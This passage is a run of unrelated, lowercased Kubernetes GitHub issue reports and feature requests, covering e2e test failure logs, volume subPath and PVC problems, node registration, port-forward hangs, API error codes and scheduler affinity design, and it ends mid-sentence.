e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  28019   failed:  k8s.io  serviceaccounts should mount an api token into pods  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service_accounts.go:240 mar 13 11:07:37.298: failed to delete pod \ pod-service-account-3a4505b5-0817-11e7-9f26-0242ac110008-rvwnw\ : an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-svcaccounts-kfv90/pods/pod-service-account-3a4505b5-0817-11e7-9f26-0242ac110008-rvwnw\\\ \   has prevented the request from succeeding  delete pods pod-service-account-3a4505b5-0817-11e7-9f26-0242ac110008-rvwnw  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:118     issues about this test specifically:  37526   failed:  k8s.io  schedulerpredicates  serial  validates that interpodaffinity is respected if matching with multiple affinities {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4217529a0>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  34223   failed:  k8s.io  schedulerpredicates  serial  validates that nodeselector is respected if not matching  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc42284e350>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  28091  38346   failed:  k8s.io  configmap should be consumable from pods in volume as non-root  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:51 expected error:     < errors.errorstring | 0xc4215fa830>: {         s: \ expected pod \\\ pod-configmaps-d2d05125-0810-11e7-9f26-0242ac110008\\\  success: gave up waiting for pod 'pod-configmaps-d2d05125-0810-11e7-9f26-0242ac110008' to be 'success or failure' after 5m0s\ ,     }     expected pod \ pod-configmaps-d2d05125-0810-11e7-9f26-0242ac110008\  success: gave up waiting for pod 'pod-configmaps-d2d05125-0810-11e7-9f26-0242ac110008' to be 'success or failure' after 5m0s not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2167     issues about this test specifically:  27245   failed:  k8s.io  schedulerpredicates  serial  validates that required nodeaffinity setting is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4232064e0>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  28071   failed:  k8s.io  schedulerpredicates  serial  validates resource limits of pods that are allowed to run  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4209cd7e0>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  27115  28070  30747  31341  35513  37187  38340   failed:  k8s.io  schedulerpredicates  serial  validates that taints-tolerations is respected if not matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc42290ec70>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  27655  33876   failed:  k8s.io  schedulerpredicates  serial  validates that interpodantiaffinity is respected if matching 2 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc421d388b0>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  30078  30142   failed:  k8s.io  schedulerpredicates  serial  validates that taints-tolerations is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4225d7a40>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  28853  31585   failed:  k8s.io  schedulerpredicates  serial  validates that nodeselector is respected if matching  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4223c8260>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  29516   failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025  previous issues for this suite:  37152  37329  38077  40676

k8s 1.6.3 just landed and broke a lot of our systems. the issue shows as:\r 2017-05-10 20:07:19.245598 | name                       ready     status                                                                                                                                      restarts   age\r 2017-05-10 20:07:19.245760 | test-ceph-init-mon-hx3h1   0/1       mkdir /var/lib/kubelet/pods/c4fe3290-35bb-11e7-8ad3-fa163eceb3e9/volumes/kubernetes.io~configmap/resolv-conf/resolv.conf: not a directory   0          3m\r \r the issue is, we have subpath set to a file in a configmap to map it into the right place in our container. but the new code assumes subpath is a directory and always does a mkdir over it. this causes things to fail.\r \r the pr in question is:\r https://github.com/kubernetes/kubernetes/commit/21871aa94525744dbc391fda841e42feee0671d1

- i have azure machine  kubernetes  who have agent of 2 core, 1 gb. my two services are running on this machine each have its own postgres  deplyment, service, pv, pvc .\r - i want to host my third service too on same machine.\r - so when i tried to create postgres deployment  this too have its own service, pv, pvc  but pod was stuck in status=containercreating .\r - after some digging i got to know that my vm only supports data-disks.\r - so i thought why not use pvc of earlier deployment in current service like:\r \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: third-postgres\r   labels:\r     name: third-postgres\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r          name: third-postgres\r     spec:\r       containers:\r       - name: third-postgres\r         image: postgres\r         env:\r           - name: pgdata\r             value: /var/lib/postgresql/data/pgdata\r           - name: postgres_user\r             value: third-user\r           - name: postgres_password\r             value: <password>\r           - name: postgres_db\r             value: third_service_db\r         ports:\r           - containerport: 5432\r         volumemounts:\r         - name: third-postgresdata\r       mountpath: /var/lib/postgresql/data\r   volumes:\r   - name: third-postgresdata\r     persistentvolumeclaim:\r       claimname: <second-postgres-data>\r    \r \r - now this deployment was successfully running but it doesn't create new database third_service_db\r may be because second pvc was already exists so it skips the db create part ?\r - so is their any way i can use same pvc for my all services and same pvc can have multiple databases. so that when i run kubectl create -f <path-to-thirst-postgres.yaml> it takes name database configuration from env variables and create db in same pvc\r \r @kubernetes/sig-azure-misc\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  /sig  kubelet\r  \r   what happened  :\r i have  two nodes ,they all start kubelet service ,and the master had get csr and certificat approved them,\r but now i can't got nodes? \r when i excute kubectl get nodes on the master ,i got the result \ no resource found.\ \r like this;\r \r  root@c7test_master kubernetes   kubectl get csr\r name                                                   age       requestor           condition\r node-csr-kftxk0rd8ydqlipojjnak9mviixmdf2gryboi66vthi   21m       kubelet-bootstrap   approved\r node-csr-p4zur-c5f3ae_0ggzebyt2bnaethxzjbgifvdtxhkqy   21m       kubelet-bootstrap   approved\r  root@c7test_master kubernetes   kubectl get nodes\r no resources found.\r  root@c7test_master kubernetes   \r \r   what you expected to happen  :\r i what to know the reason\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r client and server all are 1.9\r \r \r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r centos 7.4\r - kernel  e.g.  uname -a  :\r 3.1\r - install tools:\r - others:\r  root@c7test_master kubernetes   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-03t22:18:41z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  root@c7test_master kubernetes   \r \r   \r

 @kubernetes/sig-auth-feature-requests \r @kubernetes/sig-api-machinery-feature-requests \r \r   what happened  :\r \r as a namespace-constrained user, i am able to manually add/remove finalizers added by system components:\r   garbage collection finalizers\r   pv/pvc protection finalizers\r   service catalog deprovisioning finalizers\r   etc...\r \r   what you expected to happen  :\r \r as a cluster admin, i expected to be able to control what finalizers can be added/removed by end users, so they can be relied on by system components and controllers for gating deletion

user report: \ i was unable to use the walkthroughs provided  as readmes on github  to get a cluster up and running on centos, coreos, or even google compute engine.  i eventually determined that there are directories/scripts present in the git repo that are not in the kubernetes.tar.gz tarball that the documentation says to use.\   we should include release validation tests  or process steps?  that convince us our supported getting started guides continue to work.    6180 tracks updating our docs .

dry-run needs many e2e tests to validate that nothing is persisted change when the dry-run flag is provided.\r \r things that can be done  and/or to be discussed :\r -     test pod-binding, since it's asynchronous\r -     add tests in  resttest.go  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/registry/rest/resttest/resttest.go    67136 \r -     add tests similar to  etcd_storage_path_test.go  https://github.com/kubernetes/kubernetes/blob/master/test/integration/etcd/etcd_storage_path_test.go   https://github.com/kubernetes/kubernetes/pull/66466 issuecomment-409343401 \r \r @deads2k @liggitt @lavalamp @jennybuckley

today, attach detach controller remotely attaches pvs to nodes and it needs access to secrets to communicate with external controller.  ideally the secret information should come from the pv object. but pv objects are not namespaced, and secrets are namespaced.  given that we have the following two options to pass the name space information.  option 1: - use pod namespace. but, it is undesirable to use the pod namespace to access secrets. users of pods might not have access/details of secrets.  option 2: - include both namespace & secret information in pv object. this is also discussed as probable option for dynamic provisioner.   30897   we need to hash out this soon and figure out the way to pass secret to attach & detach calls.

cross-build binaries under directory  test/images , https://github.com/kubernetes/kubernetes/tree/master/test/images  todo list: -     clusterapi-tester -     dnsutils -     entrypoint-tester -     fakegitserver -     goproxy -     hostexec -     iperf -     jessie-dnsutils -     mount-tester -     mount-tester-user -     n-way-http -     netexec -     network-tester -     pets -     port-forward-tester -     porter -     resource-consumer -  x  serve_hostname -     volumes-tester  @luxas i agree with you that we should get the makefiles somehow standardized. i would like to do some help.  @alexmiomio

is this a bug report or feature request?    choose one :  \r bug report\r \r   kubernetes version    use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.7\ , gitcommit:\ 92b4f971662de9d8770f8dcd2ee01ec226a6f6c0\ , gittreestate:\ clean\ , builddate:\ 2016-12-10t04:49:33z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:16:27z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r  just noticed the version mismatch, i wonder if that's related? \r \r   cloud provider or hardware configuration  :  \r aws setup using kops 1.4.4\r \r   what happened  :\r i have a  registry:2  pod running inside the aws k8s cluster, which has a proxy running so it appears to be  localhost:5000  to all the nodes in the cluster.  from my dev machine, i run  kubectl port-forward --namespace kube-system kube-registry-v2-upfi0 5000:5000  and it gives me the expected:\r \r    \r forwarding from 127.0.0.1:5000 -> 5000\r forwarding from  ::1 :5000 -> 5000\r    \r \r when i retag and push an image from my dev machine via  docker push localhost:5000/imgname , it starts the upload but eventually freezes.  i  see a bunch of  handling connection for 5000  messages in the port-forward terminal, and it does move along nicely for many minutes & megabytes.  i haven't timed it, but i'd guess it stops around 5 min.  if i ctrl-c out of the  docker push , retrying hangs unless i kill the port-forward command to reinitiate.  for instance, here's where it hung last time:\r \r    \r $ docker push localhost:5000/imgname\r the push refers to a repository  localhost:5000/imgname \r 73e59ce703bc: pushed \r 6b1c829e9604: pushing  ==================================================>  4.608 kb\r d71909becc51: pushing  ==================================================>   5.12 kb\r eb81b28d4018: pushing  =============>                                        71.8 mb/264.9 mb\r dc52a5d73a49: pushing  =======================================>             76.82 mb/98.2 mb\r 57627ae91f10: waiting \r 9a54167c4ef3: waiting \r b4a89e95fd3a: waiting \r bbf22e8718b9: waiting \r 34f91ac4ea19: waiting \r 94ba8f39b781: waiting \r 34e7b85d83e4: waiting \r   no movement for 10+ min\r ^c\r    \r \r - it   does   work when i push small images.\r - it   does   work when i  docker save  the image,  scp  it to one of the nodes, and do a  docker load  and  docker push  from there.  therefore, the registry and it's proxy daemonset are working properly.\r \r   what you expected to happen  :\r i expect the port-forward to stay open and alive long enough to push any amount of data through it.\r \r   how to reproduce it    as minimally and precisely as possible :\r followed directions for the kube-registry add-on: \r \r https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/registry\r \r \r   anything else do we need to know  :\r is there some kind of implied size limit or timeout on the port-forward command?  am i using it in a way not intended?

in order to split api machinery, several related tests which required schemes and specify types from those schemes were moved in https://github.com/kubernetes/kubernetes/pull/39610.  we can refactor core types like  objectmeta  and  listmeta  out of the scheme and into api machinery to move those unit tests back into api machinery.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r we should have an e2e to test issue  49418.  the test needs to delete a pvc while a pod is still using it, and then restart the controller manager.\r \r  

/approve no-issue isn't working on https://github.com/kubernetes/kubernetes/pull/47896, so i'm trying this instead.\r \r /cc @random-liu @nickrenren

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r changing externaltrafficpolicy from cluster to local on an existing service does not create a health check or reconfigure the load balancer to use it. this means the load balancer will now send traffic to unhealthy nodes, causing connection timeouts.\r \r the events section under  kubectl describe service  shows the externaltrafficpolicy change then creatingloadbalancer followed by  creatingloadbalancerfailed\terror creating load balancer  will retry : failed to create load balancer for service default/metrics-ui-go: failed to ensure static ip x.x.x.x: error creating gce static ip address: googleapi: error 400: invalid value for field 'resource.address': 'x.x.x.x'. specified ip address is already reserved., invalid \r \r creating a brand new service with  externaltrafficpolicy = local  works perfectly, the lb is created with a health check as expected.\r \r   what you expected to happen  :\r a health check should be created and the load balancer should be updated to use it\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a service with externaltrafficpolicy unset or set to \ cluster\ \r 2. edit the service and change externaltrafficpolicy to \ local\   i tried  kubectl edit  and  kubectl patch , both seem to have the same effect \r 3. check the load balancer config in gcp console or using gcloud commands.\r  gcloud compute http-health-checks list  shows no new health checks and the load balancer is not updated.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.6-gke.1\r - cloud provider or hardware configuration  : google container engine\r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  : 4.4.64+\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r   what happened  :\r i am recently facing issues with kubernetes version 1.8.9 as i am getting a lot of restarts on kube-proxy pod for few nodes. due to which all service pods scheduled on that node are crashing again and again.\r   what you expected to happen  :\r stable setup\r   how to reproduce it  as minimally and precisely as possible   :\r happening randomly on few of the nodes so not able to reproduce\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.9\r - cloud provider or hardware configuration: installed with kops 1.8.1 on aws\r - os  e.g. from /etc/os-release : debian gnu/linux 9  stretch \r - kernel  e.g.  uname -a  : 4.9.0-6-amd64\r - install tools: kops\r - docker run time: docker://1.13.1\r \r @kubernetes/sig-node\r could someone please help me with this as this is causing a lot of problems in our setup.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r if you make an rfc6902 json patch request to the server that contains an operation with an invalid  path , the server returns 500 internal server error with response\r    json\r {\r     \ kind\ : \ status\ ,\r     \ apiversion\ : \ v1\ ,\r     \ metadata\ : {},\r     \ status\ : \ failure\ ,\r     \ message\ : \ jsonpatch add operation does not apply: doc is missing path: invalid\ ,\r     \ code\ : 500\r }\r    \r \r   what you expected to happen  :\r \r 400 bad request seems the most appropiate here:\r \r >    malformed patch document:  when the server determines that the patch\r >       document provided by the client is not properly formatted, it\r >       should return a 400  bad request  response.  the definition of\r >       badly formatted depends on the patch document chosen.\r \r https://tools.ietf.org/html/rfc5789 section-2.2\r \r   how to reproduce it  as minimally and precisely as possible   :\r patch a deployment with  contenttype: application/json-patch+json  and body\r    json\r  {\ op\ : \ add\ , \ value\ : 123, \ path\ : \ invalid\ } \r    \r \r   anything else we need to know?  :\r \r related https://github.com/kubernetes/kubernetes/issues/68202, https://github.com/kubernetes/kubernetes/issues/54423\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : macos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r when i create cronjob, the task is echo \ test cronjob\ , and the task cycle is one minute. a period of time found that some ip had not been released. after testing, some pod did not release ip requests after executing the task, resulting in ip address waste.\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :centos7.3\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

as of now there exists more than 4 different ways to deploy heapster. this makes it hard to reliably update heapster configuration. we should rework the configs to use a combination of salt and config objects to get rid of most of the duplicate config files.

@timothysc has a comment on this on  23387. it's orthogonal to the issue but of course we could extend it to a discussion.  currently, codec   and versioner   wrap an input object that could be shared across different storage back-ends. the code is just a repeat for each implementation:      go func newsomeimpl codec runtime.codec, ...  {}  func  i  someimpl  codec   {   return i.codec }

in the pod affinity design we identified a problem  let's call it the \ first pod problem\   where the way you express the rule \ run all the pods from service s in the same zone\  is to say \ each pod from service s should only run in a zone that is already running a pod from service s\ ; this works once there is one pod from s running, but the first pod from s will block forever if the rule is taken literally, so nothing will ever schedule. so we have a workaround where we identify this scenario explicitly, and allow the first pod to schedule anywhere.  it occurred to me that we have a similar problem if people use pod affinity to ensure that a group of pods co-schedule. for example, in  18450 one element of a possible solution is to say \ x can only run on a machine with y, and y can only run on a machine with x\   so that if you kill x or y, the other one reloads, once we implement that behavior . but such a rule will allow neither of them to ever schedule, since neither will be allowed to \ go first.\   fixing this is not high priority.  cc/ @kevin-wangzefeng

verifyvolumesareattached  added in pr https://github.com/kubernetes/kubernetes/pull/34859 makes a call to the storage provider for every node with attached volumes.  it should be modified to enable bulk calls  for all nodes  to be made at once for storage providers that support it.  follow up on https://github.com/kubernetes/kubernetes/pull/34859 discussion_r85195273  cc @jingxu97 @justinsb

i have started to see  45375 again:\r \r https://github.com/openshift/origin/pull/16071 -> https://openshift-gce-devel.appspot.com/build/origin-ci-test/pr-logs/pull/16071/test_pull_request_origin_unit/1869\r \r the longer wait just pushes the race condition forward.\r \r /assign @gmarek\r \r cc @davidopp @timothysc\r \r    \r === run   testcancelandreadd\r panic: sync: negative waitgroup counter\r \r goroutine 419  running :\r sync.  waitgroup .add 0xc4201d2420, 0xffffffffffffffff \r \t/usr/lib/golang/src/sync/waitgroup.go:75 +0x255\r sync.  waitgroup .done 0xc4201d2420 \r \t/usr/lib/golang/src/sync/waitgroup.go:100 +0x42\r github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/node.testcancelandreadd.func1 0xc4201c1380, 0x1, 0x20 \r \t/go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/node/timed_workers_test.go:118 +0x61\r github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/node.  timedworkerqueue .getwrappedworkerfunc.func1 0xc4201c1380, 0x0, 0x0 \r \tgithub.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/node/_test/_obj_test/timed_workers.go:81 +0xb6\r github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/node.createworker.func1  \r \tgithub.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/node/_test/_obj_test/timed_workers.go:44 +0x72\r created by time.gofunc\r \t/usr/lib/golang/src/time/sleep.go:170 +0x52\r

bug:\r in swagger api  spec  https://raw.githubusercontent.com/kubernetes/kubernetes/master/api/openapi-spec/swagger.json   io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemaprops  resource property has some circular dependencies \r \r  e.g.\r    json\r io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemaprops: {\r description: \ jsonschemaprops is a json-schema following specification draft 4  http://json-schema.org/ .\ ,\r properties: {\r $ref: {\r type: \ string\ \r },\r $schema: {\r type: \ string\ \r },\r additionalitems: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemapropsorbool\ \r },\r additionalproperties: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemapropsorbool\ \r },\r allof: {\r type: \ array\ ,\r items: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemaprops\ \r }\r },\r anyof: {\r type: \ array\ ,\r items: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemaprops\ \r }\r },\r default: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.json\ \r },\r definitions: {\r type: \ object\ ,\r additionalproperties: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemaprops\ \r }\r },\r dependencies: {\r type: \ object\ ,\r additionalproperties: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemapropsorstringarray\ \r }\r },\r description: {\r type: \ string\ \r },\r enum: {\r type: \ array\ ,\r items: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.json\ \r }\r },\r example: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.json\ \r },\r exclusivemaximum: {\r type: \ boolean\ \r },\r exclusiveminimum: {\r type: \ boolean\ \r },\r externaldocs: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.externaldocumentation\ \r },\r format: {\r type: \ string\ \r },\r id: {\r type: \ string\ \r },\r items: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemapropsorarray\ \r },\r maxitems: {\r type: \ integer\ ,\r format: \ int64\ \r },\r maxlength: {\r type: \ integer\ ,\r format: \ int64\ \r },\r maxproperties: {\r type: \ integer\ ,\r format: \ int64\ \r },\r maximum: {\r type: \ number\ ,\r format: \ double\ \r },\r minitems: {\r type: \ integer\ ,\r format: \ int64\ \r },\r minlength: {\r type: \ integer\ ,\r format: \ int64\ \r },\r minproperties: {\r type: \ integer\ ,\r format: \ int64\ \r },\r minimum: {\r type: \ number\ ,\r format: \ double\ \r },\r multipleof: {\r type: \ number\ ,\r format: \ double\ \r },\r not: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemaprops\ \r },\r oneof: {\r type: \ array\ ,\r items: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemaprops\ \r }\r },\r pattern: {\r type: \ string\ \r },\r patternproperties: {\r type: \ object\ ,\r additionalproperties: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemaprops\ \r }\r },\r properties: {\r type: \ object\ ,\r additionalproperties: {\r $ref: \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.jsonschemaprops\ \r }\r },\r required: {\r type: \ array\ ,\r items: {\r type: \ string\ \r }\r },\r title: {\r type: \ string\ \r },\r type: {\r type: \ string\ \r },\r uniqueitems: {\r type: \ boolean\ \r }\r }\r }\r    \r \r is it expected one?

service of type loadbalancer is backed by a cloud-provider-specific load balancer. due to the inherent differences in networking, each cloud provider supports a very different sets of features and/or configurations exposed via annotations. for example, the service annotations supported on aws:\r https://github.com/kubernetes/kubernetes/blob/8c025bc2f23a3be059bf9a7d05867a8cb6f52ea8/pkg/cloudprovider/providers/aws/aws.go l83-l145\r \r there are many known downsides of using annotations  e.g., lack of validation, defaulting, etc , but that's not the focus of this issue. \r \r one problem with hiding all these vastly different implementations behind a generic service object is that it's hard for users to introspect the status using the kubernetes api.\r in fact, the  loadbalancerstatus  contains only a single field, loadbalanceringress, which is the lowest common denominator of all possible load balancers. \r    go\r // loadbalancerstatus represents the status of a load-balancer.\r type loadbalancerstatus struct {\r \t// ingress is a list containing ingress points for the load-balancer.\r \t// traffic intended for the service should be sent to these ingress points.\r \t// +optional\r \tingress   loadbalanceringress  json:\ ingress,omitempty\  protobuf:\ bytes,1,rep,name=ingress\  \r }\r    \r users would not be able to verify whether a lb is configured as expected, or whether a change to an annotation has taken effect or not  and all annotations are mutable . to actually verify the correctness of a load balancer, a user would need in-depth understanding of the both cloud networking and the implementation of cloud-provider code in the controller while interacting directly with the cloud platform ui. that doesn't lead to great user experience. \r \r some potential solutions that have been brought up in previous discussions:\r  1. add an opaque key-value map as part of  loadbalancerstatus . \r  2. include cloud-provide-specific information in events.  caveat: events are ephemeral and can be spammy when used this way .\r \r thoughts?\r \r @kubernetes/sig-network-feature-requests @thockin @bowei \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r feature request\r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r i have a running pod  pod-1 , deployed via a k8s deployment  deploy-1 , on k8s node-1. someday, i want to patch node affinity to this deployment  kubectl patch  . for example, the target node must have label 'data=allowed'.\r my steps:\r 1.  add label 'data=allowed' to node-1 first\r 2. patch the node affinity definition to deploy-1\r \r the pod-1 is rebooted after the patch, even the current node where pod-1 is on has meet the node affinity rule  step 1 .\r \r   what you expected to happen  :\r my expectation is that the pod-1 should not be rescheduled by k8s, since it is already on node-1.\r or provide a configuration to prevent rebooting. \r \r   how to reproduce it  as minimally and 